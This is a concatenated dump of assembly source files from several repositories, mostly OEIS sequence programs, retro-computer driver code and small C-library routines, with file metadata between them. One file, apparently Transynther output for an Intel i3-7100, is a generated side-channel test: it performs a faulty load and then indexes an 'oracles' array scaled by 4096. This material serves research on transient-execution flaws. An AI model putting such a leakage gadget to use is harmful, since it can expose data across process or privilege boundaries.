; A203286: Number of arrays of 2n nondecreasing integers in -3..3 with sum zero and equal numbers greater than zero and less than zero. ; 4,12,28,57,104,176,280,425,620,876,1204,1617,2128,2752,3504,4401,5460,6700,8140,9801,11704,13872,16328,19097,22204,25676,29540,33825,38560,43776,49504,55777,62628,70092,78204,87001,96520,106800,117880,129801,142604,156332,171028,186737,203504,221376,240400,260625,282100,304876,329004,354537,381528,410032,440104,471801,505180,540300,577220,616001,656704,699392,744128,790977,840004,891276,944860,1000825,1059240,1120176,1183704,1249897,1318828,1390572,1465204,1542801,1623440,1707200,1794160,1884401,1978004,2075052,2175628,2279817,2387704,2499376,2614920,2734425,2857980,2985676,3117604,3253857,3394528,3539712,3689504,3844001,4003300,4167500,4336700,4511001 add $0,2 seq $0,14820 ; a(n) = (1/3)*(n^2 + 2*n + 3)*(n+1)^2. div $0,8
124.428571
662
0.801378
139c56f21b7d4d7976ad08c1c618a288a669fca0
440
asm
Assembly
oeis/051/A051638.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/051/A051638.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/051/A051638.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A051638: a(n) = sum_{k=0..n} (C(n,k) mod 3). ; Submitted by Jamie Morken(s1) ; 1,2,4,2,4,8,4,8,13,2,4,8,4,8,16,8,16,26,4,8,13,8,16,26,13,26,40,2,4,8,4,8,16,8,16,26,4,8,16,8,16,32,16,32,52,8,16,26,16,32,52,26,52,80,4,8,13,8,16,26,13,26,40,8,16,26,16,32,52,26,52,80,13,26,40,26,52,80,40,80,121,2,4,8,4,8,16,8,16,26,4,8,16,8,16,32,16,32,52,8 mov $2,$0 lpb $0 sub $0,1 mov $3,$2 bin $3,$0 mod $3,3 add $1,$3 lpe mov $0,$1 add $0,1
29.333333
261
0.577273
d14afd32d0d942436018bec75d264499aeea5057
4,292
asm
Assembly
iod/con2/8/drop.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
iod/con2/8/drop.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
iod/con2/8/drop.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; Set-up to drop object into screen V2.01  1992 Tony Tebby ; ; 2003-02-24 2.01 Preserves sprite width in MSW of d5 (MK) ; ; d1 c p position of object ; a0 c p pointer to definition block ; a1 c p pointer to object ; a3 c p pointer to linkage block ; a5 c s pointer to action routine ; a6 p ; all others scratch section driver xdef pt_drop xref pt_hides xref io_tstw xref pt_swind xref pt_sadd xref sp_dropi include dev8_keys_qdos_pt include dev8_keys_con pt_drop movem.l d1/a0/a1,-(sp) save the pointers movem.l a3/a6,-(sp) and another set stk_a0 equ $0c move.l a2,-(sp) exg a1,a5 set pointer to object bsr.l pt_swind set the drop pointers for the object move.l (sp)+,a2 restore pattern pointer (if exists) bne.l exit move.l (sp),a0 use temporary pointer to linkage block tst.b pt_pstat(a0) is pointer visible? bne.l dr_direct ... no, just drop it dr_insave reg.save reg d2/d3/d4/d5/d6/a1/a2/a3/a4/a5/a6 stk.save equ 11*4 movem.l reg.save,-(sp) save drop pointers move.l pt_psprt(a0),a4 get the pointer to the pointer sprite ; first we set up the horizontal mask addq.l #4,a4 ignore form move.w (a4)+,d2 width of pointer save area subq.w #1,d2 lsr.w #2,d2 in long words (-1) addq.w #1,d2 cmp.w d2,d5 is object wider? bgt.l dr_remsp ... yes, can't cope move.w d2,d4 save width addq.w #1,d4 (complete) lsl.w #2,d4 in bytes add.w d0,d2 add offset cmp.w d2,d5 compare against width of object bge.s width_p1 move.w d5,d2 width_p1 addq.w #1,d2 ... plus 1 moveq #0,d3 set LHS aligned tst.w d0 is object to left or right blt.s to_right move.w d0,d3 object is to left moveq #0,d0 set no offset for save area bra.s set_width to_right asl.w #2,d0 set the horizontal offset of the ptr save area set_width sub.w d3,d2 set the width of overlap ble.l dr_in_screen nothing to drop into save area ;; set the overlap mask ; ; move.l d5,-(sp) save long word count ; moveq #-1,d5 preset mask ; clr.w d5 ; ror.l d2,d5 get width number of bits ; not.w d5 ; ror.l d3,d5 ... in the right place ; move.l (sp)+,d5 and reset count ; ;; set the non overlapped width of the save area ; ; move.w d4,a6 total width ; asl.w #2,d2 ; sub.w d2,a6 ... less overlap ; ;; now we find the vertical overlap ; ; move.w (a4)+,d2 height of pointer save area ; move.l pt_spsav(a0),a3 set address of save area (as if screen!!) ; sub.w d0,a3 ... less horizontal offset ; ; subq.w #1,d2 height of save area less one ; add.w d1,d2 plus offset ; cmp.w d2,d6 compare against height ; bge.s bottom_set ; move.w d6,d2 take the lesser ; ;bottom_set ; moveq #0,d3 ; tst.w d1 is object above or below? ; blt.s below ; ext.l d1 d1 needs to be long ; move.w d1,d3 object above ; move.w d5,d0 number of long words/row ; mulu d3,d0 * number of rows ; lsl.l #2,d0 * bytes / long ; bra.s set_height ;below ; muls d1,d4 set offset of save area ; sub.w d4,a3 and offset it!! ; moveq #0,d0 ; moveq #0,d1 no offsets ; ;set_height ; sub.w d3,d2 and the height (-1) ; blt.s dr_in_screen ... nothing to drop into save area ; ; move.w d2,d6 set height drop in ; ;; update save area!!! ; ; movem.l (sp),d2/d3 restore the pattern offsets ; jsr (a1) ; ; update screen ; ; movem.l (sp)+,reg.save restore drop pointers ; moveq #0,d0 no offsets ; moveq #0,d1 ; jsr (a1) ; movem.l (sp),a3/a6 ; bsr.l pt_sadd set the pointer addresses ; bsr.l sp_dropi and drop the pointer back in ; bra.s exit_ok ; ; remove sprite dr_remsp movem.l stk.save(sp),a3/a6 move.l stk.save+stk_a0(sp),a0 move.l pt_psprt(a3),a4 point at sprite move.l pt_pos(a3),d2 this is where its origin is sub.l pto_org(a4),d2 so this is its screen origin moveq #$fffffff0,d0 swap d0 and.l d0,d2 origin of save area move.l #$001f0000,d1 round up width (and add one) add.l d2,d1 TT special !!! and.l d0,d1 add.l pto_size(a4),d1 and how far across it goes bsr.l io_tstw is it in our window? ble.s dr_in_screen ... no moveq #pt.show,d4 jsr pt_hides dr_in_screen movem.l (sp)+,reg.save restore drop pointers dr_direct moveq #0,d0 no offsets moveq #0,d1 jsr (a1) exit_ok moveq #0,d0 exit movem.l (sp)+,a3/a6 movem.l (sp)+,d1/a0/a1 rts end
24.11236
68
0.671948
eb236ddaa1c32626182938200b5fe0056e8d9c5e
387
asm
Assembly
programs/oeis/140/A140716.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/140/A140716.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/140/A140716.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A140716: Blocky integers, i.e., integers n > 1 such that there is a run of n consecutive integer squares the average of which is a square. ; 7,25,31,49,55,73,79,97,103,121,127,145,151,169,175,193,199,217,223,241,247,265,271,289,295,313,319,337,343,361,367,385,391,409,415,433,439,457,463,481,487,505,511,529,535,553,559,577,583 mov $1,$0 mul $0,2 mod $1,2 add $1,$0 mul $1,6 add $1,7
38.7
188
0.70801
bc8929eb8d66688e9cd79a26abd5ff7428155622
496
asm
Assembly
programs/oeis/133/A133826.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/133/A133826.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/133/A133826.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A133826: Triangle whose rows are sequences of increasing and decreasing tetrahedral numbers: 1; 1,4,1; 1,4,10,4,1; ... . ; 1,1,4,1,1,4,10,4,1,1,4,10,20,10,4,1,1,4,10,20,35,20,10,4,1,1,4,10,20,35,56,35,20,10,4,1,1,4,10,20,35,56,84,56,35,20,10,4,1,1,4,10,20,35,56,84,120,84,56,35,20,10,4,1,1,4,10,20,35,56,84,120,165,120,84,56,35,20,10,4,1,1,4,10,20,35,56,84,120,165,220,165,120,84,56,35,20,10,4,1 seq $0,4737 ; Concatenation of sequences (1,2,...,n-1,n,n-1,...,1) for n >= 1. add $0,2 bin $0,3
70.857143
274
0.639113
5ff149f49f48d54beaf4e1ab53987dceb0d502a4
641
asm
Assembly
libsrc/target/gb/gbdk/draw_image.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/target/gb/gbdk/draw_image.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/target/gb/gbdk/draw_image.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_driver PUBLIC draw_image PUBLIC _draw_image GLOBAL __mode GLOBAL gmode GLOBAL asm_draw_image INCLUDE "target/gb/def/gb_globals.def" ; void __LIB__ draw_image(unsigned char *data) NONBANKED; draw_image: ; Non banked as pointer _draw_image: ; Non banked as pointer PUSH BC LD A,(__mode) CP G_MODE CALL NZ,gmode LD HL,sp+4 ; Skip return address and registers LD A,(HL+) ; HL = data LD C,A LD B,(HL) CALL asm_draw_image POP BC RET
20.677419
67
0.536661
cf39c31f9470bed9bb3de80f9b5cac14dbe84b15
254
asm
Assembly
libsrc/z80_crt0s/z80/sccz80/int2long_u_float.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
38
2021-06-18T12:56:15.000Z
2022-03-12T20:38:40.000Z
libsrc/z80_crt0s/z80/sccz80/int2long_u_float.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
2
2021-06-20T16:28:12.000Z
2021-11-17T21:33:56.000Z
libsrc/z80_crt0s/z80/sccz80/int2long_u_float.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
6
2021-06-18T18:18:36.000Z
2021-12-22T08:01:32.000Z
; Small C+ Z88 Support Library ; ; Convert signed int to long SECTION code_crt0_sccz80 PUBLIC l_int2long_u_float EXTERN float .l_int2long_u_float ld de,0 jp float
21.166667
44
0.523622
7cc6bc27bff254ebda62322ea01970385ffc24da
5,517
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_962.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_962.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_962.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0x1cd48, %r9 nop nop cmp %r11, %r11 mov (%r9), %r13 nop nop nop nop nop cmp $30902, %r11 lea addresses_WT_ht+0x6ea8, %rsi lea addresses_D_ht+0xe4b0, %rdi nop nop xor %rax, %rax mov $50, %rcx rep movsl nop dec %rax lea addresses_WC_ht+0x1eba8, %rsi lea addresses_normal_ht+0xca38, %rdi nop nop nop dec %rbp mov $37, %rcx rep movsb nop sub %r9, %r9 lea addresses_WC_ht+0x16a08, %rsi lea addresses_WT_ht+0xa4a8, %rdi nop nop and %r9, %r9 mov $17, %rcx rep movsl nop nop nop dec %rbp lea addresses_normal_ht+0x1c8a8, %rsi nop sub %rbp, %rbp mov $0x6162636465666768, %r9 movq %r9, (%rsi) nop nop nop nop sub %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %rbp push %rcx push %rdi push %rdx push %rsi // REPMOV lea addresses_UC+0x1aba8, %rsi lea addresses_WC+0x143b4, %rdi nop nop nop nop add $58292, %r10 mov $44, %rcx rep movsw nop cmp $39754, %r10 // Faulty Load lea addresses_normal+0x170a8, %rsi nop nop nop nop cmp $60538, %r12 movb (%rsi), %r10b lea oracles, %rsi and $0xff, %r10 shlq $12, %r10 mov (%rsi,%r10,1), %r10 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_normal', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC', 'congruent': 1, 'same': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_normal', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
41.795455
2,999
0.663042
dc5ce629327671d63df1b11687e538d8c04c26cc
332
asm
Assembly
programs/oeis/240/A240676.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/240/A240676.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/240/A240676.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A240676: Number of digits in the decimal expansion of n^7. ; 1,1,3,4,5,5,6,6,7,7,8,8,8,8,9,9,9,9,9,9,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13 pow $0,7 add $0,1 mov $1,-1 lpb $0 div $0,10 add $1,1 lpe add $1,1 mov $0,$1
25.538462
188
0.623494
88386a5f0763ec02d3ba7aeca1b84ab1b1391fa6
1,084
asm
Assembly
dectab.asm
gp48k/lpfp
070c73a8b67d98f85d2de86d75b23f0e71a18a8a
[ "MIT" ]
17
2018-06-17T19:12:27.000Z
2021-05-31T16:20:44.000Z
dectab.asm
gp48k/lpfp
070c73a8b67d98f85d2de86d75b23f0e71a18a8a
[ "MIT" ]
null
null
null
dectab.asm
gp48k/lpfp
070c73a8b67d98f85d2de86d75b23f0e71a18a8a
[ "MIT" ]
4
2018-10-14T16:08:26.000Z
2021-06-21T23:31:59.000Z
INCLUDE "align.asm" DECTAB: DEFW $810f, $7db2, $7db2, $7db2 DEFW $7db2, $7a5b, $7a5b, $7a5b DEFW $7716, $7716, $7716, $73bc DEFW $73bc, $73bc, $73bc, $7063 DEFW $7063, $7063, $6d1c, $6d1c DEFW $6d1c, $69c7, $69c7, $69c7 DEFW $69c7, $666c, $666c, $666c DEFW $6323, $6323, $6323, $5fd2 DEFW $5fd2, $5fd2, $5fd2, $5c75 DEFW $5c75, $5c75, $592a, $592a DEFW $592a, $55dd, $55dd, $55dd DEFW $55dd, $527d, $527d, $527d DEFW $4f31, $4f31, $4f31, $4be8 DEFW $4be8, $4be8, $4be8, $4887 DEFW $4887, $4887, $4539, $4539 DEFW $4539, $41f4, $41f4, $41f4 DEFW $3e90, $3e90, $3e90, $3e90 DEFW $3b40, $3b40, $3b40, $3800 DEFW $3800, $3800, $349a, $349a DEFW $349a, $349a, $3148, $3148 DEFW $3148, $2e06, $2e06, $2e06 DEFW $2aa3, $2aa3, $2aa3, $2aa3 DEFW $2750, $2750, $2750, $240c DEFW $240c, $240c, $20ad, $20ad DEFW $20ad, $20ad, $1d58, $1d58 DEFW $1d58, $1a13, $1a13, $1a13 DEFW $16b8, $16b8, $16b8, $16b8 DEFW $1360, $1360, $1360, $1019 DEFW $1019, $1019, $0cc2, $0cc2 DEFW $0cc2, $0cc2, $0968, $0968 DEFW $0968, $0620, $0620, $0620 DEFW $02cd, $02cd, $02cd, $02cd
31.882353
39
0.609779
eeb001fa5c9a777a234dfac21619ad87a6a8a0f9
409
asm
Assembly
programs/oeis/303/A303487.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/303/A303487.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/303/A303487.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A303487: a(n) = n! * [x^n] 1/(1 - 4*x)^(n/4). ; 1,1,12,231,6144,208845,8648640,422463195,23781703680,1515973484025,107941254220800,8491022274509775,731304510986649600,68444451854354701125,6916953288171902976000,750681472158682148959875,87076954662428278259712000,10751175443940144673035200625 mov $1,$0 sub $1,$0 add $1,6 mov $2,$0 add $2,$0 lpb $2 mul $1,$0 add $0,4 sub $2,2 lpe mov $0,$1 div $0,6
25.5625
246
0.738386
df9cdba396107974046c732c9ebbab68f48dcaaf
1,737
asm
Assembly
programs/oeis/304/A304375.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/304/A304375.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/304/A304375.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A304375: a(n) = 27*n^2/2 + 45*n/2 - 12 (n>=1). ; 24,87,177,294,438,609,807,1032,1284,1563,1869,2202,2562,2949,3363,3804,4272,4767,5289,5838,6414,7017,7647,8304,8988,9699,10437,11202,11994,12813,13659,14532,15432,16359,17313,18294,19302,20337,21399,22488,23604,24747,25917,27114,28338,29589,30867,32172,33504,34863,36249,37662,39102,40569,42063,43584,45132,46707,48309,49938,51594,53277,54987,56724,58488,60279,62097,63942,65814,67713,69639,71592,73572,75579,77613,79674,81762,83877,86019,88188,90384,92607,94857,97134,99438,101769,104127,106512,108924,111363,113829,116322,118842,121389,123963,126564,129192,131847,134529,137238,139974,142737,145527,148344,151188,154059,156957,159882,162834,165813,168819,171852,174912,177999,181113,184254,187422,190617,193839,197088,200364,203667,206997,210354,213738,217149,220587,224052,227544,231063,234609,238182,241782,245409,249063,252744,256452,260187,263949,267738,271554,275397,279267,283164,287088,291039,295017,299022,303054,307113,311199,315312,319452,323619,327813,332034,336282,340557,344859,349188,353544,357927,362337,366774,371238,375729,380247,384792,389364,393963,398589,403242,407922,412629,417363,422124,426912,431727,436569,441438,446334,451257,456207,461184,466188,471219,476277,481362,486474,491613,496779,501972,507192,512439,517713,523014,528342,533697,539079,544488,549924,555387,560877,566394,571938,577509,583107,588732,594384,600063,605769,611502,617262,623049,628863,634704,640572,646467,652389,658338,664314,670317,676347,682404,688488,694599,700737,706902,713094,719313,725559,731832,738132,744459,750813,757194,763602,770037,776499,782988,789504,796047,802617,809214,815838,822489,829167,835872,842604,849363 mul $0,3 add $0,6 bin $0,2 mov $1,$0 sub $1,7 mul $1,3
173.7
1,631
0.82441
5a91b5fe876174e55f8e5d77bde6df54013d2f45
416
asm
Assembly
libsrc/_DEVELOPMENT/string/c/sccz80/strstrip.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/string/c/sccz80/strstrip.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/string/c/sccz80/strstrip.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; char *strstrip(const char *s) SECTION code_clib SECTION code_string PUBLIC strstrip EXTERN asm_strstrip defc strstrip = asm_strstrip IF __CLASSIC && __CPU_GBZ80__ PUBLIC _strstrip _strstrip: ld hl,sp+2 ld a,(hl+) ld h,(hl) ld l,a call asm_strstrip ld d,h ld e,l ret ENDIF ; SDCC bridge for Classic IF __CLASSIC && !__CPU_GBZ80__ PUBLIC _strstrip defc _strstrip = strstrip ENDIF
13
31
0.716346
0b67882424cac0cdc756ef8ce0f2af2c4fe56b4f
295
asm
Assembly
programs/oeis/059/A059304.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/059/A059304.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/059/A059304.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A059304: a(n) = 2^n * (2*n)! / (n!)^2. ; 1,4,24,160,1120,8064,59136,439296,3294720,24893440,189190144,1444724736,11076222976,85201715200,657270374400,5082890895360,39392404439040,305870434467840,2378992268083200,18531097667174400 mov $1,$0 mul $1,2 bin $1,$0 lpb $0 sub $0,1 mul $1,2 lpe
26.818182
190
0.732203
3705791efc911b9dc7d8c7b210eb2ef25e28c645
1,364
asm
Assembly
programs/oeis/027/A027383.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/027/A027383.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/027/A027383.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A027383: Number of balanced strings of length n: let d(S) = #(1's) - #(0's), # == count in S, then S is balanced if every substring T of S has -2 <= d(T) <= 2. ; 1,2,4,6,10,14,22,30,46,62,94,126,190,254,382,510,766,1022,1534,2046,3070,4094,6142,8190,12286,16382,24574,32766,49150,65534,98302,131070,196606,262142,393214,524286,786430,1048574,1572862,2097150,3145726,4194302,6291454,8388606,12582910,16777214,25165822,33554430,50331646,67108862,100663294,134217726,201326590,268435454,402653182,536870910,805306366,1073741822,1610612734,2147483646,3221225470,4294967294,6442450942,8589934590,12884901886,17179869182,25769803774,34359738366,51539607550,68719476734,103079215102,137438953470,206158430206,274877906942,412316860414,549755813886,824633720830,1099511627774,1649267441662,2199023255550,3298534883326,4398046511102,6597069766654,8796093022206,13194139533310,17592186044414,26388279066622,35184372088830,52776558133246,70368744177662,105553116266494,140737488355326,211106232532990,281474976710654,422212465065982,562949953421310,844424930131966,1125899906842622,1688849860263934,2251799813685246,3377699720527870,4503599627370494,6755399441055742,9007199254740990 mov $3,$0 mod $0,2 add $0,1 mov $1,$0 mul $3,2 add $3,2 mov $0,$3 sub $0,1 mov $2,18 add $2,$1 add $0,$2 add $0,3 lpb $0 sub $0,4 mul $1,2 add $1,2 lpe sub $1,190 div $1,64 add $1,1
56.833333
1,012
0.81085
534746aedd85bbe401e3f7c906d3eb9955d05d73
213
asm
Assembly
libsrc/stdio_new/file/fputc.asm
